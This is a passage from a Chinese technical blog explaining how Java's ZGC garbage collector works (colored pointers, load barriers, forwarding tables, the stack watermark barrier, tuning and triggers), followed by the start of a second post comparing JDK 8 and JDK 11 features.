    为了解决上面指针裁剪的问题,ZGC 使用了mmap内核函数进行多虚拟地址内存映射。使用 mmap 可以将同一块物理内存映射到多个虚拟地址上。这样,就可以实现堆中的一个对象,有4个虚拟地址,不同的地址标记不同的状态 marked0、marked1、remapped,Finalizable。且都可以访问到内存。这样实现了指针染色的目的,且不用对指针进行裁剪,提高了效率。

着色指针的四个着色状态

  • Finalizable=1000 终结状态
    表示对象已经要被回收了,此位与并发引用处理有关,表示这个对象只能通过finalizer才能访问。
  • Remapped=0100 未扫描状态
    设置此位的值后,表示这个对象未指向RelocationSet中(relocation set表示需要GC的Region分区/页面集合)。
  • Marked1=0010 已标记状态
    对象已标记状态,用于辅助GC。
  • Marked0=0001 已标记状态
    对象已标记状态,用于辅助GC。

为什么会有两个Marked标识
这是为了防止不同GC周期之间的标记混淆,所以搞了两个Marked标识,每当新的一次GC开始时,都会交换使用的标记位。例如:第一次GC使用M0,第二次GC就会使用M1,第三次又会使用M0…,因为ZGC标记完所有分区的存活对象后,会选择分区进行回收,因此有一部分区域内的存活对象不会被转移,那么这些对象的标识就不会复位,会停留在之前的Marked标识(比如M0),如果下次GC还是使用相同M0来标记对象,那混淆了这两种对象。为了确保标记不会混淆,所以搞了两个Marked标识交替使用。

内存视图 View

内存视图是指ZGC对Java对象状态的一种描述,通过内存视图和着色指针配合,ZGC得以完成在并发转移对象的同时准确定位对象地址
ZGC将所有对象划分为 3 种不同的视图(状态):marked0、marked1、remapped,同一时刻只能处于其中一种视图(状态)。比如:

  • 在没有进行垃圾回收时,视图为remapped

  • 在 GC 进行标记开始,将视图从 remapped 切换到marked0/marked1

  • 在 GC 进行转移阶段,又将视图从marked0/marked1 切换到remapped

  • “好”指针和“坏”指针
    任意线程当前访问对象的指针的着色状态和当前所处的视图一致时,则当前指针为** “好”指针** ;当前指访问对象的指针的状态和当前所处的视图不一致时,则为**“坏”指针**。
    线程访问到好指针无需处理,直接通过指针访问对象地址。

  • 触发读屏障
    线程访问到坏指针时,在不同阶段会有不同的处理,处理过程在读屏障中实现。

    • 标记阶段
      访问到坏指针时,说明此对象存活且未被标记,会将指针着色状态调整为已标记的M0/M1状态。
    • 转移阶段
      访问到坏指针时,说明此对象需要被移动。线程会转移对象,然后将指针着色状态调整为未标记的Remapped状态,等待下轮GC扫描。不仅是GC线程,应用线程访问到坏指针时也会转移对象,这称为应用线程的协作转移。这样做让对象转移成为并发的过程,无需等待GC线程转移对象,应用线程自己就可以完成转移。
  • 着色指针的**“自愈”**
    通过上面的说明,发现线程访问到坏指针,在触发读屏障处理后,又恢复成好指针,且直到下轮GC之间无需再处理,线程可以直接访问对象。这一特性被称之为,ZGC的指针拥有“自愈”能力。

读屏障 Load Barrier

读屏障是一小段在特殊位置由 JIT 注入的代码,类似我们 JAVA 中常用的 AOP 技术;主要目的是处理GC并发转移后地址定位问题,对象漏标问题。

Object o = obj.fieldA; // 只有从堆中获取一个对象时,才会触发读屏障

// 读屏障伪代码
if (!(o & good_bit_mask)) {
if (o != null) {
// 处理并注册地址
slow_path(register_for(o), address_of(obj.fieldA)); }
}

  • 处理对象漏标问题
    读屏障是在读取成员变量时,统统记录下来,这种做法是保守的,但也是安全的。根据三色标记法,引发漏标问题必须要满足两个条件,其中条件二为:「已经标为黑色的对象重新与白色对象建立了引用关系」,也就是已经标记过的存活对象(黑色对象)重新和垃圾对象(白色对象)建立了引用关系,而黑色对象想要与白色对象重新建立引用的前提是:得先读取到白色对象,此时读屏障的作用就出来了,可以直接记录谁读取了当前白色对象,然后在「再次标记」重新标记一下这些黑色对象即可。

  • 处理并发转移时对象地址定位问题
    GC发生后,堆中一部分存活对象被转移,当应用线程读取对象时,可以利用读屏障通过指针上的标志来判断对象是否被转移,如果读取的对象已经被转移(线程读取到坏指针),那么则修正当前对象引用为最新地址(去转移表中查)。这样做的好处在于:下次其他线程再读取该转移对象时,可以正常访问读取到最新值(着色指针的自愈)。

转移表 Forwarding Table

转移表ForwardingTable是ZGC确保转移对象后,其他引用指针能够指向最新地址的一种技术,每个页面/分区(ZPage)中都会存在,其实就是该区中所有存活对象的转移记录,也称之为「活跃信息表」。一条线程通过引用来读取对象时,发现对象被转移后就会去转移表中查询最新的地址,并更新地址。这样在并发场景下,用户线程使用读屏障就可以通过转发表拿到新地址,用户线程可以准确访问并发转移阶段的对象了。
转移表中的数据会在发生下一次GC时清空重置,也包括会在下一次GC时触发着色指针的重映射/重定位操作。在下一次GC并发标记阶段会遍历转发表,完成所有的地址转发过程,最后在并发转移准备阶段会清空转发表。
转移表

并发标记过程

ZGC基于染色指针的并发处理过程:

  • 在第一次GC发生前,堆中所有对象的标识为:Remapped 初始状态。
  • 第一次GC被触发后,此时内存视图已经为开始GC的M0状态。GC线程开始标记,开始扫描,如果对象是Remapped标志,并且该对象根节点可达的,则将其改为M0标识,表示存活对象且已被标记。
  • 如果标记过程中,扫描到的对象标识已经为M0,代表该对象已经被标记过,或者是GC开始后新分配的对象,这种情况下无需处理。
  • 在GC开始后,用户线程新创建的对象,会直接标识为和内存视图一致的M0状态。
  • 在标记阶段,GC线程仅标记用户线程可直接访问的对象还是不够的,实际上还需要把对象的成员变量所引用的对象都进行递归标记。

在「标记阶段」结束后,对象要么是M0存活状态,要么是未被标记的Remapped初始状态,说明这些对象不可达,即待回收状态。最终,所有被标记为M0状态的活跃对象都会被放入「活跃信息表」中。等到了「转移阶段」再对这些对象进行处理,流程如下:

  • ZGC选择目标回收区域,开始并发转移,此时内存视图切换为Remapped状态。
  • GC线程遍历访问目标区域中的对象,如果对象标识为M0并且存在于活跃表中,则把该对象转移到新的分区/页面空间中,同时将其标识修正为Remapped标志。
  • GC线程如果扫描到的对象存在于活跃表中,但标识为Remapped,说明该对象已经转移过了,无需处理。
  • 用户线程在「转移阶段」新创建的对象,会被标识为和内存视图一致的Remapped状态。
  • 如果GC线程遍历到的对象不是M0状态或不在活跃表中,说明不可达,也无需转移处理。
    最终,当目标区域中的所有存活对象被转移到新的分区后,ZGC统一回收原本的选择的回收区域。至此,一轮GC结束,整个堆空间会正常执行应用任务,直至触发下一轮GC。而当下一轮GC发生时,会采用M1作为GC辅助标识,而并非M0,具体原因在前面分析过了则不再阐述。

栈水印屏障 Stack Watermark Barrier

JDK16后通过JEP 376提案合入JDK主线,ZGC的又一强大特性。有了这一特性的支持,从JDK 16开始。ZGC现在的暂停时间为O(1)。换句话说,它们是在恒定的时间内执行的,并且不会随着堆、活动对象集或GC Roots根集大小(或其他任何东西)的增加而增加。通过栈水印屏障特性的支持,ZGC实现了常数级暂停,亚毫秒级暂停的能力。

栈水印屏障是什么?先看一下官方博客对此的说明

在JDK 16之前,ZGC的暂停时间仍然随GC Roots根集的大小(子集)而缩放。更准确地说,ZGC仍然在停止世界阶段扫描线程栈。这意味着,如果一个Java应用有大量的线程,那么暂停时间会增加。如果这些线程有很深的调用栈,那么暂停时间会增加得更多。从JDK 16开始,线程栈的扫描是并发进行的,即在Java应用程序继续运行的同时进行。
栈水印屏障机制,可以防止Java线程在没有首先检查是否可以安全返回的情况下返回到栈帧。可以把它看作是栈帧的读屏障,如果需要的话,它将迫使Java线程在返回到栈帧之前采取某种形式的动作,使栈帧进入安全状态。每个 Java 线程都有一个或多个栈水印屏障,它告诉屏障在没有任何特殊操作的情况下可以在栈中安全地走多远。要走过一个水印,就要走一条慢路,使一个或多个栈帧进入当前安全状态,并更新水印。将所有线程栈带入安全状态的工作通常由一个或多个GC线程处理,但由于这是并发完成的,如果Java线程返回到GC线程尚未到达的栈帧中,有时就必须修复自己的几个栈帧。
有了JEP 376,ZGC现在在Stop-The-World阶段扫描的根数正好为零。

虽然说的有些绕,但还是说明了问题和解决方案。

问题就是,在JDK 16之前,ZGC的暂停时间仍然随GC Roots根集的大小增大而增大,因为ZGC要在程序完全停顿时,去扫描每个线程的所有栈帧中的回收根GCRoots。因为线程一旦运行,回收根很可能就会变化么,这很好理解。在上面的 【ZGC的标记—复制算法】,这一节里看到在初始标记阶段,应用程序是完全暂停的。
所以随着线程增多等原因,GC Roots根集增大,那自然停顿时间也要增加了呗。解决这个问题的方法,当然是和其他阶段一样,尽量使初始标记阶段对GC根集的扫描也和并发标记阶段一样,可以并发的去标记。

ZGC对这个问题怎么处理的?读屏障,没错还是读屏障,这次是对于线程栈帧使用的读屏障。

简答来说,就是通过栈水印屏障这一机制,用户线程不会在GC线程正在扫描一个线程栈时,进入这个栈。栈水印屏障的读屏障机制,会确保GC线程正在扫描线程的一个栈帧时,用户线程不会进入到这个栈帧里,直到GC线程标记完成。这一过程是完全并发的,GC线程在运行时栈的栈顶下方的栈帧里标记,用户线程在运行时栈的栈顶继续执行,栈顶的栈帧由用户线程负责标记。 这样就可以做到在标记线程栈中的GC根集同时,用户线程并发运行,无需“停止世界”。

下面具体研讨下栈水印屏障的组成和原理

  • 栈水印是什么?
    上面说到了GC线程需要在用户线程运行时并发的去标记GC根节点,那么用户线程运行时很可能因为方法执行完毕,分支结束等原因弹出当前栈帧,回到上一个栈帧,此时GC根对象的引用关系就可能发生变化。那么问题就是如何检测这种变化?很容易想到就是退回栈时由用户线程去检测变化,重新标记GC根节点(也就是用户线程的一种协作式的标记,和用户线程遇到“坏指针”帮助转移对象一样)那么退回栈后应该扫描多少个栈帧?扫描少了,可能漏标,扫描多了会影响性能。为了降低业务线程扫描栈帧的工作量,HotSpot虚拟机中采用栈水印这一机制。
    栈水印是一种在运行时栈上的标记,假设线程运行时栈向下增长,发生回栈时,可以区分回到的栈帧是否高于栈水印标记,高于水印标记的栈帧已经被标记完毕,而低于水印标记的栈帧为正在运行的用户线程栈帧。如果回到的栈已经高于栈水印,则此栈不能由 Java 线程直接使用,因为它可能因为引用关系变化而包含过时的对象引用。

  • 读屏障
    栈水印所依赖的一种读屏障。为了降低业务线程扫描栈帧的工作量,HotSpot 中采用单个栈帧扫描的方式,即在回栈时如果超过当前栈水印标记,就会进入栈水印屏障,在这个读屏障中会执行一系列操作,去处理当前帧到栈水印标记之前的栈帧,其中因为回栈可能导致引用关系变化的内容。包括修复调用方的对象指针,重新标记此节点的GC根集等。
    如果此时GC线程正在标记要回栈的帧,则读屏障会限制用户线程在GC线程标记完成之前不能返回此帧。

  • 完全并发标记过程

    • 完全并发标记GC根集时,GC线程在运行时栈的栈顶下方的栈帧里标记,用户线程在运行时栈的栈顶继续执行。线程通过GC安全点时,将通过改变全局变量的方式在逻辑上使 Java 线程栈失效(判定为非用户线程当前帧)。每个无效的栈将被GC线程同时处理,并且继续跟踪剩余的待处理内容直到完成。
    • 在应用线程回栈时,操作栈钩子会将一些堆栈本地地址与水印进行比较,如果回栈到栈水印之上,则需要去修复栈帧,并且向上移动水印。每次处理过程都包含对此栈帧的调用方和被调用方的处理,所以处理一般发生在栈顶的两帧上。栈水印屏障则在这两帧的后面,而且在用户线程回栈时,栈水印屏障会检查GC线程是否在处理,GC线程在处理后续的帧时,用户线程不能回栈到此帧。
    • Java 线程将处理继续执行所需的最小帧数。并发 GC 线程将处理剩余的帧,确保最终扫描完所有线程栈和其他线程GC根集。

栈水印屏障 Stack Watermark Barrier的实现非常复杂,即便是ZGC官方博客也没有对其的详细讲解,有兴趣的可以具体去查看源码。

ZGC 其他特性

支持非统一内存访问架构

UMA架构:UMA即Uniform Memory Access Architecture(统一内存访问),UMA也就是一般正常电脑的常用架构,一块内存多颗CPU,所有CPU在处理时都去访问一块内存,所以必然就会出现竞争(争夺内存主线访问权),而操作系统为了避免竞争过程中出现安全性问题,注定着也会伴随锁概念存在,有锁在的场景定然就会影响效率。同时CPU访问内存都需要通过总线和北桥,因此当CPU核数越来越多时,渐渐的总线和北桥就成为瓶颈,从而导致使用UMA/SMP架构机器CPU核数越多,竞争会越大,性能会越低。

NUMA架构:NUMA即Non Uniform Memory Access Architecture(非统一内存访问),NUMA架构下,每颗CPU都会对应有一块内存,具体内存取决于处理器的内存位置,一般与CPU对应的内存都是在主板上离该CPU最近的,CPU会优先访问这块内存,每颗CPU各自访问距离自己最近的内存,效率自然而然就提高了。
NUMA架构允许多台机器共同组成一个服务供给外部使用,NUMA技术可以使众多服务器像单一系统那样运转,该架构在中大型系统上一直非常盛行,也是高性能的解决方案,尤其在系统延迟方面表现都很优秀,因此,实际上堆空间也可以由多台机器的内存组成。

通过NUMA非统一内存访问架构,机器得以纵向扩展,硬件性能堆叠,提供TB级内存单元。
ZGC是能自动感知处理器是否是NUMA架构,并可以充分利用NUMA架构特性的一款垃圾收集器。
ZGC在NUMA架构的处理器上,为活跃线程分配对象时,会就近分配到此线程所在处理器的优先访问内存上。

就地重定位

ZGC使用的是标记—整理算法,也就是优化的标记-复制算法。此算法有个缺陷,就是要复制或者说移动对象,那么内存中必须存在一定的连续空闲空间用于移动对象,如果堆已满,即所有堆区域都已在使用中,那么我们无处可移动对象。
在 JDK 16 之前,ZGC 通过保留堆解决了这个问题。此保留堆是一组被搁置的堆区域,并且对于来自用户线程的正常分配内存不可用。一般保留堆占整个Java堆的15%左右。使用保留堆的方案仍然存在一些缺陷,首先就是堆内存的浪费,其次是保留堆不一定能完全支持整理过程完成,此时可能导致ZGC失败,发生长时间暂停或堆栈溢出异常。
其他收集器,比如G1,可以通过就地压缩堆来处理整理算法的需要空闲空间的问题,这种方法的主要优点是它不需要空闲内存来保证整理堆空间以释放内存。换句话说,它将压缩一个完整的堆,而不需要某种堆空间保留。
ZGC中将类似的能力称之为就地重定位In-Place Relocation

  • 就地重定位
    就地重定位
    无连续空闲空间,就地重定位,活动对象按顺序移动的空间0
  • 非就地重定位
    无需就地重定位
    有连续空闲空间 3,无需就地重定位,按整理算法直接移动活动对象到3号空间

但是,就地重定位通常会带来更多的性能开销。例如,就地重定位必须顺序的移动对象,否则可能会覆盖尚未移动的对象。此时GC 线程不能进行并行处理移动对象,并且还会影响 Java 线程操作需要GC整理的对象,在这些对象重新定位时会产生一些操作限制。
当有空闲堆区域可用时,不就地重新定位通常性能更好, 而就地重定位可以保证重新定位过程成功完成,即使没有空堆区域可用。总之,这两种方法都有优点。
从 JDK 16 开始,ZGC 现在同时的使用这两种方法来实现两全其美的效果。这使得即便不使用保留堆 ,仍然可以在普通情况下保持良好的转移对象的性能,并保证即便在无空闲空间的危险情况下,仍然可以实现对象整理。
默认情况下,只要存在可用于将对象移动到的空闲堆区域,ZGC 就不会就地重新定位。否则,ZGC将启用就地重定位。一旦重新有空闲堆区域可用,ZGC将再次切换回不使用地重新定位。

对比Azul Zing C4 GC

C4收集器由Azul的无暂停垃圾收集器PauseLessGC发展而来,相比PauseLess收集器,C4收集器最大的改进就是支持了分代回收模型。
这有点像ZGC的发展历程,目前(截止JDK18)的ZGC都是不支持分代的,而支持分代的ZGC正在开发中。
有观点认为ZGC就是重写的,纯软件实现的Azul PauseLessGC。目前正在追逐接近C4GC的目标。

C4全名 Continuously Concurrent Compacting Collector,连续并发压缩回收器。

ZGC的完全并发能力,对应C4的 Continuously Concurrent 连续并发能力
ZGC的标记—整理算法,就地重定位能力,对应C4的 Compacting 压缩能力
现在也就差分代回收未实现了。
没有分代回收,ZGC在极高对象分配速率时,仍然不及C4GC。

总结

ZGC 优点

  • 低停顿,高吞吐量,ZGC收集过程中额外耗费的内存小。
    • 低停顿,几乎所有过程都是并发的,只有短暂的STW。
    • 占用额外的内存小。G1通过写屏障维护记忆集,才能处理跨代指针,得以实现增量回收。记忆集占用大量内存,写屏障对正常程序造成额外负担。而ZGC没有写屏障,卡表之类的。(但这主要得益于ZGC目前没有实现分代回收,要是分代回收实现之后,还会不会这样不好说了)
    • 吞吐量方面,在ZGC的‘弱项’吞吐量方面,因为和用户线程并发,还是有影响的。但是以低延迟为首要目标的ZGC已经达到了以高吞吐量为目标Parallel Scavenge收集器的99%,直接超越了G1
  • 支持NUMA架构
    现在多CPU插槽的服务器都是NUMA架构,比如两颗CPU插槽(24核),64G内存的服务器,那其中一颗CPU上的12个核,访问从属于它的32G本地内存,要比访问另外32G远端内存要快得多。
    在支持NUMA架构的多核处理器下,ZGC优先在线程当前所处的处理器的本地内存上分配对象,以保证内存高效访问。
  • ZGC采用并发的标记-整理算法。没有内存碎片。

ZGC 缺点

  • 承受的对象分配速率不会太高,因为浮动垃圾。
    ZGC的停顿时间是在10ms以下,但是ZGC的执行时间还是远远大于这个时间的。
    假如ZGC全过程需要执行10分钟,在这个期间由于对象分配速率很高,将创建大量的新对象,这些对象很难进入当次GC,会被直接判定为存活对象,而本轮GC回收期间可能新分配的对象会有大部分对象都成为了“垃圾”,这些只能等到下次GC才能回收的对象就是浮动垃圾。可能造成回收到的内存空间小于期间并发产生的浮动垃圾所占的空间。
    这个问题通过分代回收能有很大优化,但是目前ZGC还不支持分代。
  • ZGC目前不支持分代回收
    ZGC目前没有实现分代回收,每次都需要进行全堆扫描,导致一些“朝生夕死”的对象没能及时的被回收。所以就不存在Young GC、Old GC,所有的GC行为都是Full GC。
  • ZGC在OpenJDK上只有在JDK17以后才正式可用
    Oracle HotSpotJDK,Adopt OpenJDK等常用JDK在低版本均无生产可用的ZGC,虽然OpenJDK中的ZGC在Java15中正式生产可用,但是Java17才是Java11之后的下一个长期稳定版。可以通过选择AliJDK,TencentJDK等试用规避此问题。

ZGC使用

低版本可用

ZGC在Java15正式生产就绪,而下一个长期支持版的Java为Java 17。这对于一些还在使用低版本JDK的开发者来说是个难题,毕竟升级JDK并不是一蹴而就的容易事。
那么有没有办法在Java11即可使用ZGC呢?也有的

国内的话,阿里云开源并维护的Ali DragonWell JDK,腾讯开源并维护的 Tencent Kona JDK,均提供了Java11版本下可用的ZGC。并且移植了大量高版本OpenJDK的特性和ZGC问题的修复,如果要在Java11下使用ZGC,选择以上两家的JDK是最后的选择。

并不建议在Java11版本的OpenJDK上使用ZGC,因为存在很多在高版本才修复的问题。

ZGC参数说明

Java 17下启用ZGC指令

-XX:+UseZGC 

注意不需要使用G1收集器时的关闭CMS收集器指令,因为CMS收集器已经在Java 9中被删除了。

通用GC选项 ZGC选项 ZGC诊断选项
-XX:MinHeapSize, -Xms -XX:ZAllocationSpikeTolerance -XX:ZStatisticsInterval
-XX:InitialHeapSize, -Xms -XX:ZCollectionInterval -XX:ZVerifyForwarding
-XX:MaxHeapSize, -Xmx -XX:ZFragmentationLimit -XX:ZVerifyMarking
-XX:SoftMaxHeapSize -XX:ZMarkStackSpaceLimit -XX:ZVerifyObjects
-XX:ConcGCThreads -XX:ZProactive -XX:ZVerifyRoots
-XX:ParallelGCThreads -XX:ZUncommit -XX:ZVerifyViews
-XX:UseDynamicNumberOfGCThreads -XX:ZUncommitDelay
-XX:UseLargePages
-XX:UseTransparentHugePages
-XX:UseNUMA
-XX:SoftRefLRUPolicyMSPerMB
-XX:AllocateHeapAt

ZGC的垃圾回收什么情况下会被触发?

ZGC中目前会有四种机制导致GC被触发:

  • ①定时触发,默认为不使用,可通过ZCollectionInterval参数配置。
  • ②预热触发,最多三次,在堆内存达到10%、20%、30%时触发,主要时统计GC时间,为其他GC机制使用。
  • ③分配速率,基于正态分布统计,计算内存99.9%可能的最大分配速率,以及此速率下内存将要耗尽的时间点,在耗尽之前触发GC「耗尽时间 - 一次GC最大持续时间 - 一次GC检测周期时间」。
  • ④主动触发,默认开启,可通过ZProactive参数配置,距上次GC堆内存增长10%,或超过5分钟时,对比「距上次GC的间隔时间」和「49*一次GC的最大持续时间」,超过则触发。

ZGC调优

ZGC 相当智能,我们需要调整的参数很少,由于 ZGC 已经自动将垃圾回收时间控制在 10ms 左右,我们主要关心的是垃圾回收的次数和避免并发回收失败导致的长停顿。

ZGC的核心特点是并发,GC过程中一直有新的对象产生。如何保证在GC完成之前,新产生的对象不会将堆占满,是ZGC参数调优的第一大目标。因为在ZGC中,当垃圾来不及回收将堆占满时,会导致正在运行的线程停顿,持续时间可能长达秒级之久。

ZGC有多种GC触发机制

  • 阻塞内存分配请求触发:
    当垃圾来不及回收,垃圾将堆占满时,会导致部分线程阻塞。日志中关键字是“Allocation Stall”。

  • 基于分配速率的自适应算法:
    最主要的 GC 触发方式,其算法原理可简单描述为” ZGC 根据近期的对象分配速率以及 GC 时间,计算出当内存占用达到什么阈值时触发下一次 GC ”。日志中关键字是“Allocation Rate”。

  • 基于固定时间间隔:
    通过ZCollectionInterval控制,适合应对突增流量场景。流量平稳变化时,自适应算法可能在堆使用率达到95%以上才触发GC。流量突增时,自适应算法触发的时机可能会过晚,导致部分线程阻塞。我们通过调整此参数解决流量突增场景的问题,比如定时活动、秒杀等场景。日志中关键字是“Timer”。

  • 主动触发规则:
    类似于固定间隔规则,但时间间隔不固定,是 ZGC 自行算出来的时机。日志中关键字是“Proactive”。其中,最主要使用的是 Allacation Stall GC 和 Allocation Rate GC。我们的调优思路为尽量不出现 Allocation Stall GC , 然后 Allocation Rate GC 尽量少。为了做到不出现 Allocation Stall GC ,我们需要做到垃圾尽量提前回收,不要让堆被占满,所以我们需要在堆内存占满前进行 Allocation Rate GC 。为了 Allocation Rate GC 尽量少,我们需要提高堆的利用率,尽量在堆占用 80% 以上进行 Allocation Rate GC 。基于此,Oracle 官方 ZGC 调优指南只建议我们调整两个参数:

  • 预热规则:
    服务刚启动时出现,一般不需要关注。日志中关键字是“Warmup”。

  • 外部触发:
    代码中显式调用System.gc()触发。 日志中关键字是“System.gc()”。

  • 元数据分配触发:
    元数据区不足时导致,一般不需要关注。 日志中关键字是“Metadata GC Threshold”。

参考

JVM成神路之GC分区篇:G1、ZGC、ShenandoahGC高性能收集器深入剖析

ZGC在去哪儿机票运价系统实践

# 关于我

Brath 是一个热爱技术的 Java 程序猿,公众号「InterviewCoder」定期分享有趣有料的精品原创文章!

InterviewCoder

非常感谢各位人才能看到这里,原创不易,文章如果有帮助可以关注、点赞、分享或评论,这都是对我的莫大支持!

【Java八股文】JDK8与JDK11的区别

InterviewCoder

# 【Java 八股文】JDK8 与 JDK11 的区别

# 文章目录


# 前言

目前市场上主流的稳定版主要是 Java 8 和 Java 11。


# 一、Java8 的新特性

# Lambda 表达式

Lambda 表达式,也可称为闭包,它是推动 Java 8 发布的最重要新特性,Lambda 允许把函数作为一个方法的参数(函数作为参数传递进方法中),使用 Lambda 表达式可以使代码变的更加简洁紧凑。

# 方法引用

方法引用通过方法的名字来指向一个方法,方法引用可以使语言的构造更紧凑简洁,减少冗余代码,方法引用使用一对冒号 :: 。

# 函数式接口实例

Predicate 接口是一个函数式接口,它接受一个输入参数 T,返回一个布尔值结果。该接口包含多种默认方法来将 Predicate 组合成其他复杂的逻辑(比如:与,或,非)。该接口用于测试对象是 true 或 false。

# Java 8 默认方法

Java 8 新增了接口的默认方法。简单说,默认方法就是接口可以有实现方法,而且不需要实现类去实现其方法。我们只需在方法名前面加个 default 关键字即可实现默认方法。

# Stream

Stream 使用一种类似用 SQL 语句从数据库查询数据的直观方式来提供一种对 Java 集合运算和表达的高阶抽象。Stream API 可以极大提高 Java 程序员的生产力,让程序员写出高效率、干净、简洁的代码。这种风格将要处理的元素集合看作一种流,流在管道中传输,并且可以在管道的节点上进行处理,比如筛选,排序,聚合等。元素流在管道中经过中间操作(intermediate operation)的处理,最后由最终操作 (terminal operation) 得到前面处理的结果。

# Optional 类

Optional 类是一个可以为 null 的容器对象。如果值存在则 isPresent () 方法会返回 true,调用 get () 方法会返回该对象。Optional 是个容器:它可以保存类型 T 的值,或者仅仅保存 null。Optional 提供很多有用的方法,这样我们就不用显式进行空值检测。Optional 类的引入很好的解决空指针异常。

# Nashorn JavaScript

Nashorn 一个 javascript 引擎。从 JDK1.8 开始,Nashorn 取代 Rhino (JDK 1.6, JDK1.7) 成为 Java 的嵌入式 JavaScript 引擎。Nashorn 完全支持 ECMAScript 5.1 规范以及一些扩展。它使用基于 JSR292 的新语言特性,其中包含在 JDK 7 中引入的 invokedynamic,将 JavaScript 编译成 Java 字节码。与先前的 Rhino 实现相比,这带来了 2 到 10 倍的性能提升。

# 日期时间 API

Java 8 通过发布新的 Date-Time API (JSR 310) 来进一步加强对日期与时间的处理。
在旧版的 Java 中,日期时间 API 存在诸多问题,其中有:

  1. 非线程安全 − java.util.Date 是非线程安全的,所有的日期类都是可变的,这是 Java 日期类最大的问题之一。
  2. 设计很差 − Java 的日期 / 时间类的定义并不一致,在 java.util 和 java.sql 的包中都有日期类,此外用于格式化和解析的类在 java.text 包中定义。java.util.Date 同时包含日期和时间,而 java.sql.Date 仅包含日期,将其纳入 java.sql 包并不合理。另外这两个类都有相同的名字,这本身就是一个非常糟糕的设计。
  3. 时区处理麻烦 − 日期类并不提供国际化,没有时区支持,因此 Java 引入了 java.util.Calendar 和 java.util.TimeZone 类,但他们同样存在上述所有的问题。
    Java 8 在 java.time 包下提供了很多新的 API。以下为两个比较重要的 API:
  4. Local (本地) − 简化了日期时间的处理,没有时区的问题。
  5. Zoned (时区) − 通过制定的时区处理日期时间。
    新的 java.time 包涵盖了所有处理日期,时间,日期 / 时间,时区,时刻(instants),过程(during)与时钟(clock)的操作。

# Base64

在 Java8 中,Base64 编码已经成为 Java 类库的标准。
Java 8 内置了 Base64 编码的编码器和解码器。
Base64 工具类提供了一套静态方法获取下面三种 BASE64 编解码器:

  1. 基本:输出被映射到一组字符 A-Za-z0-9+/,编码不添加任何行标,输出的解码仅支持 A-Za-z0-9+/。
  2. URL:输出映射到一组字符 A-Za-z0-9+_,输出是 URL 和文件。
  3. MIME:输出隐射到 MIME 友好格式。输出每行不超过 76 字符,并且使用’\r’并跟随’\n’作为分割。编码输出最后没有行分割。

# 二、Java11 的新特性

# ZGC

JDK11 引入了两种新的 GC,其中包括也许是划时代意义的 ZGC,虽然其目前还是实验特性,但是从能力上来看,这是 JDK 的一个巨大突破,为特定生产环境的苛刻需求提供了一个可能的选择。例如,对部分企业核心存储等产品,如果能够保证不超过 10ms 的 GC 暂停,可靠性会上一个大的台阶,这是过去我们进行 GC 调优几乎做不到的,是能与不能的问题。对于 G1 GC,相比于 JDK 8,升级到 JDK 11 即可享受到:并行的 Full GC,快速的 CardTable 扫描,自适应的堆占用比例调整(IHOP),在并发标记阶段的类型卸载等等。这些都是针对 G1 的不断增强,其中串行 Full GC 等甚至是曾经被广泛诟病的短板,你会发现 GC 配置和调优在 JDK11 中越来越方便。

# Flight Recorder(JFR)

Flight Recorder(JFR)是 Oracle 刚刚开源的强大特性。JFR 是一套集成进入 JDK、JVM 内部的事件机制框架,通过良好架构和设计的框架,硬件层面的极致优化,生产环境的广泛验证,它可以做到极致的可靠和低开销。在 SPECjbb2015 等基准测试中,JFR 的性能开销最大不超过 1%,所以,工程师可以基本没有心理负担地在大规模分布式的生产系统使用,这意味着,我们既可以随时主动开启 JFR 进行特定诊断,也可以让系统长期运行 JFR,用以在复杂环境中进行 “After-the-fact” 分析。
在保证低开销的基础上,JFR 提供的能力可以应用在对锁竞争、阻塞、延迟,JVM GC、SafePoint 等领域,进行非常细粒度分析。甚至深入 JIT Compiler 内部,全面把握热点方法、内联、逆优化等等。JFR 提供了标准的 Java、C++ 等扩展 API,可以与各种层面的应用进行定制、集成,为复杂的企业应用栈或者复杂的分布式应用,提供 All-in-One 解决方案。而这一切都是内建在 JDK 和 JVM 内部的,并不需要额外的依赖,开箱即用。

# Low-Overhead Heap Profiling

它来源于 Google 等业界前沿厂商的一线实践,通过获取对象分配细节,为 JDK 补足了对象分配诊断方面的一些短板,工程师可以通过 JVMTI 使用这个能力增强自身的工具。

# HTTP/2 Client API

新的 HTTP API 提供了对 HTTP/2 等业界前沿标准的支持,精简而又友好的 API 接口,与主流开源 API(如,Apache HttpClient, Jetty, OkHttp 等)对等甚至更高的性能。与此同时它是 JDK 在 Reactive-Stream 方面的第一个生产实践,广泛使用了 Java Flow API 等,终于让 Java 标准 HTTP 类库在扩展能力等方面,满足了现代互联网的需求。

# Transport Layer Security (TLS) 1.3

就是安全类库、标准等方面的大范围升级,它还是中国安全专家范学雷所领导的 JDK 项目,完全不同于以往的修修补补,是个非常大规模的工程。
Dynamic Class-File Constants
动态 class 文件常量。扩展了 Java class 文件格式,支持一种新的常量池形式:CONSTANT_Dynamic。

# Improve Aarch64 Intrinsics

主要是针对 ARM Aarch64 架构的优化,比如提供优化的 sin、cos 等函数。

# Epsilon: A No-Op Garbage Collector(Experimental)

无操作的垃圾收集器。Epsilon 是一个特殊的垃圾收集器,只处理内存分配,不负责回收。一旦堆耗尽,就关闭 JVM。听上去这个收集器好像没什么意义。不过它还是有不少用处的。比如:性能测试。GC 会影响性能,有了这么一个几乎什么都不干的 GC,我们可以过滤掉 GC 带来的影响因素。还有些性能因素不是 GC 引入的,比如编译器变换,利用 Epsilon GC,我们可以对比。就像生物学里做实验,我们可以用它做一个对照组。另外还有内存压力测试、VM 接口测试等。

# Launch Single-File Source-Code Programs

支持运行单个文件中的源代码。在刚学习 Java 或者编写小的工具程序时,我们一般要先用 javac 编译源文件,再用 java 命令运行。有了这个功能,我们可以直接用 java 命令运行源程序。

# Unicode 10

升级现有 API 支持 Unicode 10。Java SE 10 实现的是 Unicode 8.0。与 Java 10 相比,Java 11 多支持 16 018 个新字符,10 种新的文字类型。

# Nest-Based Access Control

基于嵌套的访问控制。Java 11 引入了 nest 的概念,这是一个新的访问控制上下文(context),逻辑上处于同一代码实体中的类,尽管会被编译为不同的 class 文件,但是可以访问彼此的 private 成员,不再需要编译器插入辅助访问的桥方法。

# Dynamic Class-File Constants

动态 class 文件常量。扩展了 Java class 文件格式,支持一种新的常量池形式:CONSTANT_Dynamic。

# Remove the Java EE and CORBA Modules

将 Java SE 9 中标记为废弃的 Java EE 和 CORBA 正式从 Java SE 平台中删除。

# Deprecate the Nashorn JavaScript Engine

